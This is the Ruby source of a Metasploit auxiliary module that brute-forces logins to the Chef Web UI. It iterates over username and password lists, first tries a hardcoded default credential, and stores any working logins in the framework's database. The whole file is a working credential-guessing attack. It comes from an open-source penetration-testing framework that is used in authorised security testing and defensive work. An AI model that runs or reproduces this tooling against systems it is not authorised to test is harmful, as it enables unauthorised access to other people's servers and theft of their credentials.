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chef_webui_login.rb
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chef_webui_login.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/login_scanner/chef_webui'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Chef Web UI Brute Force Utility',
'Description' => %q{
This module attempts to login to Chef Web UI server instance using username and password
combinations indicated by the USER_FILE, PASS_FILE, and USERPASS_FILE options. It
will also test for the default login (admin:p@ssw0rd1).
},
'Author' =>
[
'hdm'
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
}
)
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [false, 'The username to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The password to specify for authentication', '']),
OptString.new('TARGETURI', [ true, 'The path to the Chef Web UI application', '/']),
])
deregister_options('PASSWORD_SPRAY')
end
#
# main
#
def run_host(ip)
init_loginscanner(ip)
msg = @scanner.check_setup
if msg
print_brute :level => :error, :ip => rhost, :msg => msg
return
end
print_brute :level=>:status, :ip=>rhost, :msg=>("Found Chef Web UI application at #{datastore['TARGETURI']}")
bruteforce(ip)
end
def bruteforce(ip)
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}'"
do_report(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
:abort
when Metasploit::Model::Login::Status::INCORRECT
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(
address: ip,
port: rport,
protocol: 'tcp',
public: result.credential.public,
private: result.credential.private,
realm_key: result.credential.realm_key,
realm_value: result.credential.realm,
status: result.status
)
end
end
end
def do_report(ip, port, result)
service_data = {
address: ip,
port: port,
service_name: 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: result.credential.private,
private_type: :password,
username: result.credential.public,
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: result.status
}.merge(service_data)
create_credential_login(login_data)
end
def init_loginscanner(ip)
@cred_collection = build_credential_collection(
username: datastore['USERNAME'],
password: datastore['PASSWORD']
)
# Always try the default first
@cred_collection.prepend_cred(
Metasploit::Framework::Credential.new(public: 'admin', private: 'p@ssw0rd1')
)
@scanner = Metasploit::Framework::LoginScanner::ChefWebUI.new(
configure_http_login_scanner(
uri: datastore['TARGETURI'],
cred_details: @cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword']
)
)
end
end